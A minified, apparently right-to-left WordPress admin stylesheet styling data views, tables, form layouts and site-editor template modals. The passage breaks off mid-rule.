.dataviews-view-grid__group-header{ color:#1e1e1e; container-type:inline-size; font-size:15px; font-weight:500; margin:0 0 8px; padding:0 48px; } @container (max-width: 430px){ .dataviews-view-grid__group-header{ padding-left:24px; padding-right:24px; } } div.dataviews-view-list{ list-style-type:none; } .dataviews-view-list{ margin:0 0 auto; } .dataviews-view-list div[role=article],.dataviews-view-list div[role=row]{ border-top:1px solid #f0f0f0; margin:0; } .dataviews-view-list div[role=article] .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row] .dataviews-view-list__item-wrapper{ box-sizing:border-box; padding:16px 24px; position:relative; } .dataviews-view-list div[role=article] .dataviews-view-list__item-actions,.dataviews-view-list div[role=row] .dataviews-view-list__item-actions{ display:flex; flex:0 0 auto; gap:4px; white-space:nowrap; width:max-content; } .dataviews-view-list div[role=article] .dataviews-view-list__item-actions .components-button,.dataviews-view-list div[role=row] .dataviews-view-list__item-actions .components-button{ position:relative; z-index:1; } .dataviews-view-list div[role=article] .dataviews-view-list__item-actions>div,.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>div{ height:24px; } .dataviews-view-list div[role=article] .dataviews-view-list__item-actions>:not(:last-child),.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>:not(:last-child){ flex:0; overflow:hidden; width:0; } .dataviews-view-list div[role=article]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions>:not(:last-child),.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions>:not(:last-child){ flex-basis:min-content; overflow:unset; width:auto; } @media (hover:none){ .dataviews-view-list div[role=article] .dataviews-view-list__item-actions>:not(:last-child),.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>:not(:last-child){ flex-basis:min-content; overflow:unset; width:auto; } } .dataviews-view-list div[role=article].is-selected.is-selected,.dataviews-view-list div[role=article].is-selected.is-selected+div[role=article],.dataviews-view-list div[role=article].is-selected.is-selected+div[role=row],.dataviews-view-list div[role=row].is-selected.is-selected,.dataviews-view-list div[role=row].is-selected.is-selected+div[role=article],.dataviews-view-list div[role=row].is-selected.is-selected+div[role=row]{ border-top:1px solid rgba(var(--wp-admin-theme-color--rgb), .12); } .dataviews-view-list div[role=article]:not(.is-selected) .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected) .dataviews-view-list__title-field{ color:#1e1e1e; } .dataviews-view-list div[role=article]:not(.is-selected).is-hovered,.dataviews-view-list div[role=article]:not(.is-selected):focus-within,.dataviews-view-list div[role=article]:not(.is-selected):hover,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered,.dataviews-view-list div[role=row]:not(.is-selected):focus-within,.dataviews-view-list div[role=row]:not(.is-selected):hover{ background-color:#f8f8f8; color:var(--wp-admin-theme-color); } .dataviews-view-list div[role=article]:not(.is-selected).is-hovered .dataviews-view-list__fields,.dataviews-view-list div[role=article]:not(.is-selected).is-hovered .dataviews-view-list__title-field,.dataviews-view-list div[role=article]:not(.is-selected):focus-within .dataviews-view-list__fields,.dataviews-view-list div[role=article]:not(.is-selected):focus-within .dataviews-view-list__title-field,.dataviews-view-list div[role=article]:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list div[role=article]:not(.is-selected):hover .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__title-field{ color:var(--wp-admin-theme-color); } .dataviews-view-list div[role=article].is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=article].is-selected:focus-within .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper{ background-color:rgba(var(--wp-admin-theme-color--rgb), .04); color:#1e1e1e; } .dataviews-view-list div[role=article].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=article].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=article].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=article].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__title-field{ color:var(--wp-admin-theme-color); } .dataviews-view-list .dataviews-view-list__item{ appearance:none; background:none; border:none; cursor:pointer; inset:0; padding:0; position:absolute; scroll-margin:8px 0; z-index:1; } .dataviews-view-list .dataviews-view-list__item:focus-visible{ outline:none; } .dataviews-view-list .dataviews-view-list__item:focus-visible:before{ border-radius:2px; box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); content:""; inset:var(--wp-admin-border-width-focus); outline:2px solid #0000; position:absolute; } .dataviews-view-list .dataviews-view-list__title-field{ flex:1; line-height:24px; min-height:24px; overflow:hidden; } .dataviews-view-list .dataviews-view-list__title-field:has(a,button){ z-index:1; } .dataviews-view-list .dataviews-view-list__media-wrapper{ background-color:#fff; border-radius:4px; flex-shrink:0; height:52px; overflow:hidden; position:relative; width:52px; } .dataviews-view-list .dataviews-view-list__media-wrapper img{ height:100%; object-fit:cover; width:100%; } .dataviews-view-list .dataviews-view-list__media-wrapper:after{ border-radius:4px; box-shadow:inset 0 0 0 1px #0000001a; content:""; height:100%; position:absolute; right:0; top:0; width:100%; } .dataviews-view-list .dataviews-view-list__field-wrapper{ flex-grow:1; min-height:52px; } .dataviews-view-list .dataviews-view-list__fields{ color:#757575; display:flex; flex-wrap:wrap; font-size:12px; gap:12px; row-gap:4px; } .dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field:has(.dataviews-view-list__field-value:empty),.dataviews-view-list .dataviews-view-list__fields:empty{ display:none; } .dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field-value{ align-items:center; display:flex; line-height:20px; min-height:24px; } .dataviews-view-list+.dataviews-pagination{ justify-content:space-between; } .dataviews-view-list__group-header{ color:#1e1e1e; font-size:15px; font-weight:500; margin:0 0 8px; padding:0 24px; } .dataviews-view-table{ border-collapse:collapse; border-color:inherit; color:#757575; margin-bottom:auto; position:relative; text-indent:0; width:100%; } .dataviews-view-table th{ color:#1e1e1e; font-size:13px; font-weight:400; text-align:right; } .dataviews-view-table td,.dataviews-view-table th{ padding:12px; } .dataviews-view-table td.dataviews-view-table__actions-column,.dataviews-view-table th.dataviews-view-table__actions-column{ text-align:left; } .dataviews-view-table td.dataviews-view-table__actions-column--sticky,.dataviews-view-table th.dataviews-view-table__actions-column--sticky{ background-color:#fff; left:0; position:sticky; } .dataviews-view-table td.dataviews-view-table__actions-column--stuck:after,.dataviews-view-table th.dataviews-view-table__actions-column--stuck:after{ background-color:#f0f0f0; bottom:0; content:""; display:block; position:absolute; right:0; top:0; width:1px; } .dataviews-view-table td.dataviews-view-table__checkbox-column,.dataviews-view-table th.dataviews-view-table__checkbox-column{ padding-left:0; } .dataviews-view-table td.dataviews-view-table__checkbox-column .dataviews-view-table__cell-content-wrapper,.dataviews-view-table th.dataviews-view-table__checkbox-column .dataviews-view-table__cell-content-wrapper{ max-width:auto; min-width:auto; } .dataviews-view-table tr{ border-top:1px solid #f0f0f0; } .dataviews-view-table tr .dataviews-view-table-header-button{ gap:4px; } .dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{ padding-right:48px; } .dataviews-view-table tr td:first-child .dataviews-view-table-header-button,.dataviews-view-table tr th:first-child .dataviews-view-table-header-button{ margin-right:-8px; } .dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{ padding-left:48px; } .dataviews-view-table tr:last-child{ border-bottom:0; } .dataviews-view-table tr.is-hovered,.dataviews-view-table tr.is-hovered .dataviews-view-table__actions-column--sticky{ background-color:#f8f8f8; } .dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input{ opacity:0; } .dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:checked,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:focus,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:indeterminate{ opacity:1; } .dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){ opacity:0; } .dataviews-view-table tr.is-hovered .components-checkbox-control__input,.dataviews-view-table tr.is-hovered .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:focus-within .components-checkbox-control__input,.dataviews-view-table tr:focus-within .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:hover .components-checkbox-control__input,.dataviews-view-table tr:hover .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){ opacity:1; } @media (hover:none){ .dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input,.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){ opacity:1; } } .dataviews-view-table tr.is-selected{ background-color:rgba(var(--wp-admin-theme-color--rgb), .04); color:#757575; } .dataviews-view-table tr.is-selected,.dataviews-view-table tr.is-selected+tr{ border-top:1px solid rgba(var(--wp-admin-theme-color--rgb), .12); } .dataviews-view-table tr.is-selected:hover{ background-color:rgba(var(--wp-admin-theme-color--rgb), .08); } .dataviews-view-table tr.is-selected .dataviews-view-table__actions-column--sticky{ background-color:color-mix(in srgb, rgb(var(--wp-admin-theme-color--rgb)) 4%, #fff); } .dataviews-view-table tr.is-selected:hover .dataviews-view-table__actions-column--sticky{ background-color:color-mix(in srgb, rgb(var(--wp-admin-theme-color--rgb)) 8%, #fff); } .dataviews-view-table thead{ inset-block-start:0; position:sticky; z-index:1; } .dataviews-view-table thead tr{ border:0; } .dataviews-view-table thead tr .components-checkbox-control__input.components-checkbox-control__input{ opacity:1; } .dataviews-view-table thead th{ background-color:#fff; font-size:11px; font-weight:500; padding-bottom:8px; padding-right:12px; padding-top:8px; text-transform:uppercase; } .dataviews-view-table thead th:has(.dataviews-view-table-header-button):not(:first-child){ padding-right:4px; } .dataviews-view-table tbody td{ vertical-align:top; } .dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper{ align-items:center; display:flex; min-height:32px; white-space:nowrap; } .dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper.dataviews-view-table__cell-align-end{ justify-content:flex-end; } .dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper.dataviews-view-table__cell-align-center{ justify-content:center; } .dataviews-view-table tbody .components-v-stack>.dataviews-view-table__cell-content-wrapper:not(:first-child){ min-height:0; } .dataviews-view-table .dataviews-view-table-header-button{ font-size:11px; font-weight:500; padding:4px 8px; text-transform:uppercase; } .dataviews-view-table .dataviews-view-table-header-button:not(:hover){ color:#1e1e1e; } .dataviews-view-table .dataviews-view-table-header-button span{ speak:none; } .dataviews-view-table .dataviews-view-table-header-button span:empty{ display:none; } .dataviews-view-table .dataviews-view-table-header{ padding-right:4px; } .dataviews-view-table .dataviews-view-table__actions-column{ white-space:nowrap; width:auto; } .dataviews-view-table:has(tr.is-selected) .components-checkbox-control__input{ opacity:1; } .dataviews-view-table.has-compact-density thead th:has(.dataviews-view-table-header-button):not(:first-child){ padding-right:0; } .dataviews-view-table.has-compact-density td,.dataviews-view-table.has-compact-density th{ padding:4px 8px; } .dataviews-view-table.has-comfortable-density td,.dataviews-view-table.has-comfortable-density th{ padding:16px 12px; } .dataviews-view-table.has-comfortable-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-comfortable-density th.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density th.dataviews-view-table__checkbox-column{ padding-left:0; } @container (max-width: 430px){ .dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{ padding-right:24px; } .dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{ padding-left:24px; } } .dataviews-view-table-selection-checkbox{ --checkbox-input-size:24px; } @media (min-width:600px){ .dataviews-view-table-selection-checkbox{ --checkbox-input-size:16px; } } .dataviews-column-primary__media{ background-color:#fff; border-radius:4px; flex-shrink:0; max-width:60px; overflow:hidden; position:relative; } .dataviews-column-primary__media img{ height:100%; object-fit:cover; width:100%; } .dataviews-column-primary__media:after{ border-radius:4px; box-shadow:inset 0 0 0 1px #0000001a; content:""; height:100%; position:absolute; right:0; top:0; width:100%; } .dataviews-view-table__cell-content-wrapper:not(.dataviews-column-primary__media),.dataviews-view-table__primary-column-content:not(.dataviews-column-primary__media){ max-width:80ch; min-width:15ch; } .dataviews-view-table__group-header-row .dataviews-view-table__group-header-cell{ color:#1e1e1e; font-weight:500; padding:12px 48px; } .dataviews-view-table col[class^=dataviews-view-table__col-]:not(.dataviews-view-table__col-primary){ width:1%; } .dataviews-view-picker-grid .dataviews-view-picker-grid__card{ height:100%; justify-content:flex-start; position:relative; } .dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__title-actions{ padding:8px 0 4px; } .dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__title-field{ align-content:center; min-height:24px; overflow:hidden; text-align:start; } .dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__title-field--clickable{ width:fit-content; } .dataviews-view-picker-grid .dataviews-view-picker-grid__card.is-selected .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field .dataviews-view-picker-grid__field-value{ color:#1e1e1e; } .dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__media:focus:after,.dataviews-view-picker-grid .dataviews-view-picker-grid__card.is-selected .dataviews-view-picker-grid__media:after{ background-color:rgba(var(--wp-admin-theme-color--rgb), .08); } .dataviews-view-picker-grid .dataviews-view-picker-grid__card.is-selected .dataviews-view-picker-grid__media:after{ box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color); } .dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__media:focus:after{ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .dataviews-view-picker-grid:focus-visible[aria-activedescendant]{ outline:none; } .dataviews-view-picker-grid:focus-visible [data-active-item=true]{ outline:2px solid var(--wp-admin-theme-color); } .dataviews-view-picker-grid .dataviews-selection-checkbox{ top:8px !important; } .dataviews-view-picker-grid .dataviews-selection-checkbox input{ pointer-events:none; } .dataviews-view-picker-grid .dataviews-view-picker-grid__media{ aspect-ratio:1/1; background-color:#fff; border-radius:4px; position:relative; width:100%; } .dataviews-view-picker-grid .dataviews-view-picker-grid__media img{ height:100%; object-fit:cover; width:100%; } .dataviews-view-picker-grid .dataviews-view-picker-grid__media:after{ border-radius:4px; box-shadow:inset 0 0 0 1px #0000001a; content:""; height:100%; pointer-events:none; position:absolute; right:0; top:0; width:100%; } .dataviews-view-picker-grid .dataviews-view-picker-grid__fields{ font-size:12px; line-height:16px; position:relative; } .dataviews-view-picker-grid .dataviews-view-picker-grid__fields:not(:empty){ padding:0 0 12px; } .dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field-value:not(:empty){ line-height:20px; min-height:24px; padding-top:2px; } .dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field{ align-items:center; min-height:24px; } .dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field .dataviews-view-picker-grid__field-name{ color:#757575; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; width:35%; } .dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field .dataviews-view-picker-grid__field-value{ overflow:hidden; text-overflow:ellipsis; white-space:nowrap; width:65%; } .dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field:not(:has(.dataviews-view-picker-grid__field-value:not(:empty))){ display:none; } .dataviews-view-picker-grid .dataviews-view-picker-grid__badge-fields:not(:empty){ padding-bottom:12px; } .dataviews-view-picker-grid__field-value:empty,.dataviews-view-picker-grid__field:empty{ display:none; } .dataviews-view-picker-grid__card .dataviews-selection-checkbox{ position:absolute; right:8px; top:-9999em; z-index:1; } @media (hover:none){ .dataviews-view-picker-grid__card .dataviews-selection-checkbox{ top:8px; } } .dataviews-view-picker-grid__card.is-selected .dataviews-selection-checkbox,.dataviews-view-picker-grid__card:focus-within .dataviews-selection-checkbox,.dataviews-view-picker-grid__card:hover .dataviews-selection-checkbox{ top:8px; } .dataviews-view-picker-grid__media--clickable{ cursor:pointer; } .dataviews-view-picker-grid-group__header{ color:#1e1e1e; font-size:15px; font-weight:500; margin:0 0 8px; padding:0 48px; } .dataviews-controls__datetime{ border:none; padding:0; } .dataviews-controls__relative-date-number,.dataviews-controls__relative-date-unit{ flex:1 1 50%; } .dataviews-controls__date input[type=date]::-webkit-calendar-picker-indicator,.dataviews-controls__date input[type=date]::-webkit-inner-spin-button{ -webkit-appearance:none; display:none; } .dataviews-controls__date-preset{ border:1px solid #ddd; } .dataviews-controls__date-preset:active{ background-color:#000; } .dataforms-layouts-panel__field{ align-items:flex-start !important; justify-content:flex-start !important; min-height:32px; width:100%; } .dataforms-layouts-panel__field-label{ align-items:center; display:flex; flex-shrink:0; hyphens:auto; line-height:20px; min-height:32px; width:38%; } .dataforms-layouts-panel__field-label--label-position-side{ align-self:center; } .dataforms-layouts-panel__field-control{ align-items:center; display:flex; flex-grow:1; min-height:32px; } .dataforms-layouts-panel__field-control .components-button{ max-width:100%; min-height:32px; text-align:right; text-wrap:balance; text-wrap:pretty; white-space:normal; } .dataforms-layouts-panel__field-control.components-button.is-link[aria-disabled=true]{ text-decoration:none; } .dataforms-layouts-panel__field-control .components-dropdown{ max-width:100%; } .dataforms-layouts-panel__field-dropdown .components-popover__content{ min-width:320px; padding:16px; } .dataforms-layouts-panel__dropdown-header{ margin-bottom:16px; } .dataforms-layouts-panel__modal-footer{ margin-top:16px; } .components-popover.components-dropdown__content.dataforms-layouts-panel__field-dropdown{ z-index:159990; } .dataforms-layouts-regular__field{ align-items:flex-start !important; justify-content:flex-start !important; min-height:32px; width:100%; } .dataforms-layouts-regular__field-label{ align-items:center; display:flex; flex-shrink:0; hyphens:auto; line-height:20px; min-height:32px; width:38%; } .dataforms-layouts-regular__field-label--label-position-side{ align-self:center; } .dataforms-layouts-regular__field-control{ align-items:center; display:flex; flex-grow:1; min-height:32px; } .dataforms-layouts-card__field-header-label{ font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:15px; font-weight:500; line-height:20px; } .dataforms-layouts-card__field{ width:100%; } .dataforms-layouts-card__field-description{ color:#757575; display:block; font-size:13px; margin-bottom:16px; } .dataforms-layouts-card__field-summary{ display:flex; flex-direction:row; gap:16px; } .dataforms-layouts-row__field-control{ width:100%; } .dataforms-layouts__wrapper{ font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; font-weight:400; line-height:20px; } :root{ --wp-block-synced-color:#7a00df; --wp-block-synced-color--rgb:122, 0, 223; --wp-bound-block-color:var(--wp-block-synced-color); --wp-editor-canvas-background:#ddd; --wp-admin-theme-color:#007cba; --wp-admin-theme-color--rgb:0, 124, 186; --wp-admin-theme-color-darker-10:#006ba1; --wp-admin-theme-color-darker-10--rgb:0, 107, 160.5; --wp-admin-theme-color-darker-20:#005a87; --wp-admin-theme-color-darker-20--rgb:0, 90, 135; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ :root{ --wp-admin-border-width-focus:1.5px; } } .fields-create-template-part-modal{ z-index:1000001; } .fields-create-template-part-modal__area-fieldset{ border:0; margin:0; padding:0; } .fields-create-template-part-modal__area-radio-group{ border:1px solid #949494; border-radius:2px; } .fields-create-template-part-modal__area-radio-wrapper{ align-items:center; display:grid; grid-template-columns:min-content 1fr min-content; padding:12px; position:relative; grid-gap:4px 8px; color:#1e1e1e; } .fields-create-template-part-modal__area-radio-wrapper+.fields-create-template-part-modal__area-radio-wrapper{ border-top:1px solid #949494; } .fields-create-template-part-modal__area-radio-wrapper input[type=radio]{ opacity:0; position:absolute; } .fields-create-template-part-modal__area-radio-wrapper:has(input[type=radio]:checked){ z-index:1; } .fields-create-template-part-modal__area-radio-wrapper:has(input[type=radio]:not(:checked)):hover{ color:var(--wp-admin-theme-color); } .fields-create-template-part-modal__area-radio-wrapper>:not(.fields-create-template-part-modal__area-radio-label){ pointer-events:none; } .fields-create-template-part-modal__area-radio-label:before{ content:""; inset:0; position:absolute; } input[type=radio]:not(:checked)~.fields-create-template-part-modal__area-radio-label:before{ cursor:pointer; } input[type=radio]:focus-visible~.fields-create-template-part-modal__area-radio-label:before{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:4px solid #0000; } .fields-create-template-part-modal__area-radio-checkmark,.fields-create-template-part-modal__area-radio-icon{ fill:currentColor; } input[type=radio]:not(:checked)~.fields-create-template-part-modal__area-radio-checkmark{ opacity:0; } .fields-create-template-part-modal__area-radio-description{ color:#757575; font-size:12px; grid-column:2 / 3; line-height:normal; margin:0; text-wrap:pretty; } input[type=radio]:not(:checked):hover~.fields-create-template-part-modal__area-radio-description{ color:inherit; } .fields-controls__slug{ border:0; margin:0; padding:0; } .fields-controls__slug .fields-controls__slug-external-icon{ margin-right:5ch; } .fields-controls__slug .fields-controls__slug-input input.components-input-control__input{ padding-inline-start:0 !important; } .fields-controls__slug .fields-controls__slug-help-link{ word-break:break-word; } .fields-controls__slug .fields-controls__slug-help{ display:flex; flex-direction:column; } .fields-controls__slug .fields-controls__slug-help .fields-controls__slug-help-slug{ font-weight:600; } .fields-controls__featured-image-placeholder{ background:#fff linear-gradient(45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0); border-radius:2px; box-shadow:inset 0 0 0 1px #0003; display:inline-block; padding:0; } .fields-controls__featured-image-title{ color:#1e1e1e; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; width:100%; } .fields-controls__featured-image-image{ align-self:center; border-radius:2px; height:100%; width:100%; } .fields-controls__featured-image-container .fields-controls__featured-image-placeholder{ margin:0; } .fields-controls__featured-image-container span{ margin-left:auto; } fieldset.fields-controls__featured-image{ border:0; margin:0; padding:0; } fieldset.fields-controls__featured-image .fields-controls__featured-image-container{ border:1px solid #ddd; border-radius:2px; cursor:pointer; padding:8px 12px; } fieldset.fields-controls__featured-image .fields-controls__featured-image-container:hover{ background-color:#f0f0f0; } fieldset.fields-controls__featured-image .fields-controls__featured-image-placeholder{ height:24px; width:24px; } fieldset.fields-controls__featured-image span{ align-self:center; text-align:start; white-space:nowrap; } fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button{ height:fit-content; padding:0; } fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button:focus,fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button:hover{ border:0; color:unset; } fieldset.fields-controls__featured-image .fields-controls__featured-image-remove-button{ place-self:end; } .dataforms-layouts-panel__field-control .fields-controls__featured-image-image,.dataforms-layouts-panel__field-control .fields-controls__featured-image-placeholder{ height:16px; width:16px; } .dataviews-view-grid__media .fields-controls__featured-image-image,.dataviews-view-grid__media .fields-controls__featured-image-placeholder,.dataviews-view-list__media-wrapper .fields-controls__featured-image-image,.dataviews-view-list__media-wrapper .fields-controls__featured-image-placeholder,.dataviews-view-table__cell-content-wrapper.dataviews-column-primary__media .fields-controls__featured-image-image,.dataviews-view-table__cell-content-wrapper.dataviews-column-primary__media .fields-controls__featured-image-placeholder{ border-radius:4px; display:block; height:100%; width:100%; } .dataviews-view-grid__media .fields-controls__featured-image-placeholder,.dataviews-view-list__media-wrapper .fields-controls__featured-image-placeholder,.dataviews-view-table__cell-content-wrapper.dataviews-column-primary__media .fields-controls__featured-image-placeholder{ background:#f0f0f0; box-shadow:none; } .dataviews-view-table__cell-content-wrapper.dataviews-column-primary__media .fields-controls__featured-image-image,.dataviews-view-table__cell-content-wrapper.dataviews-column-primary__media .fields-controls__featured-image-placeholder{ height:32px; width:32px; } .fields-controls__parent,.fields-controls__password,.fields-controls__template{ border:0; margin:0; padding:0; } .fields-controls__template-modal{ z-index:1000001; } .fields-controls__template-content .block-editor-block-patterns-list{ column-count:2; column-gap:24px; padding-top:2px; } @media (min-width:782px){ .fields-controls__template-content .block-editor-block-patterns-list{ column-count:3; } } @media (min-width:1280px){ .fields-controls__template-content .block-editor-block-patterns-list{ column-count:4; } } .fields-controls__template-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{ break-inside:avoid-column; } .fields-field__title>span:first-child{ display:block; flex-grow:0; overflow:hidden; text-decoration:none; text-overflow:ellipsis; white-space:nowrap; } .fields-field__pattern-title span:first-child{ flex:1; } .edit-site-custom-template-modal__contents-wrapper{ height:100%; justify-content:flex-start !important; } .edit-site-custom-template-modal__contents-wrapper>*{ width:100%; } .edit-site-custom-template-modal__contents-wrapper__suggestions_list{ margin-left:-12px; margin-right:-12px; width:calc(100% + 24px); } .edit-site-custom-template-modal__contents>.components-button{ height:auto; justify-content:center; } @media (min-width:782px){ .edit-site-custom-template-modal{ width:456px; } } @media (min-width:600px){ .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list{ max-height:224px; overflow-y:auto; } } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item{ display:block; height:auto; overflow-wrap:break-word; padding:8px 12px; text-align:right; white-space:pre-wrap; width:100%; } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item mark{ background:none; font-weight:700; } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover{ background:rgba(var(--wp-admin-theme-color--rgb), .04); } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover *,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover mark{ color:var(--wp-admin-theme-color); } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus{ background-color:#f0f0f0; } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus:not(:disabled){ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color) inset; } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__title{ display:block; overflow:hidden; text-overflow:ellipsis; } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info{ color:#757575; word-break:break-all; } .edit-site-custom-template-modal__no-results{ border:1px solid #ccc; border-radius:2px; padding:16px; } .edit-site-custom-generic-template__modal .components-modal__header{ border-bottom:none; } .edit-site-custom-generic-template__modal .components-modal__content:before{ margin-bottom:4px; } @media (min-width:960px){ .edit-site-add-new-template__modal{ margin-top:64px; max-height:calc(100% - 128px); max-width:832px; width:calc(100% - 128px); } } .edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button svg,.edit-site-add-new-template__modal .edit-site-add-new-template__template-button svg{ fill:var(--wp-admin-theme-color); } .edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button .edit-site-add-new-template__template-name{ align-items:flex-start; flex-grow:1; } .edit-site-add-new-template__modal .edit-site-add-new-template__template-icon{ background:rgba(var(--wp-admin-theme-color--rgb), .04); border-radius:100%; max-height:40px; max-width:40px; padding:8px; } .edit-site-add-new-template__template-list__contents>.components-button,.edit-site-custom-template-modal__contents>.components-button{ border:1px solid #ddd; display:flex; flex-direction:column; justify-content:center; outline:1px solid #0000; padding:32px; } .edit-site-add-new-template__template-list__contents>.components-button span:first-child,.edit-site-custom-template-modal__contents>.components-button span:first-child{ color:#1e1e1e; } .edit-site-add-new-template__template-list__contents>.components-button span,.edit-site-custom-template-modal__contents>.components-button span{ color:#757575; } .edit-site-add-new-template__template-list__contents>.components-button:hover,.edit-site-custom-template-modal__contents>.components-button:hover{ background:rgba(var(--wp-admin-theme-color--rgb), .04); border-color:#0000; color:var(--wp-admin-theme-color-darker-10); } .edit-site-add-new-template__template-list__contents>.components-button:hover span,.edit-site-custom-template-modal__contents>.components-button:hover span{ color:var(--wp-admin-theme-color); } .edit-site-add-new-template__template-list__contents>.components-button:focus,.edit-site-custom-template-modal__contents>.components-button:focus{ border-color:#0000; box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:3px solid #0000; } .edit-site-add-new-template__template-list__contents>.components-button:focus span:first-child,.edit-site-custom-template-modal__contents>.components-button:focus span:first-child{ color:var(--wp-admin-theme-color); } .edit-site-add-new-template__template-list__contents .edit-site-add-new-template__custom-template-button,.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__template-list__prompt,.edit-site-custom-template-modal__contents .edit-site-add-new-template__custom-template-button,.edit-site-custom-template-modal__contents .edit-site-add-new-template__template-list__prompt{ grid-column:1 / -1; } .edit-site-add-new-template__template-list__contents>.components-button{ align-items:flex-start; height:100%; text-align:start; } .edit-site-visual-editor__editor-canvas.is-focused{ 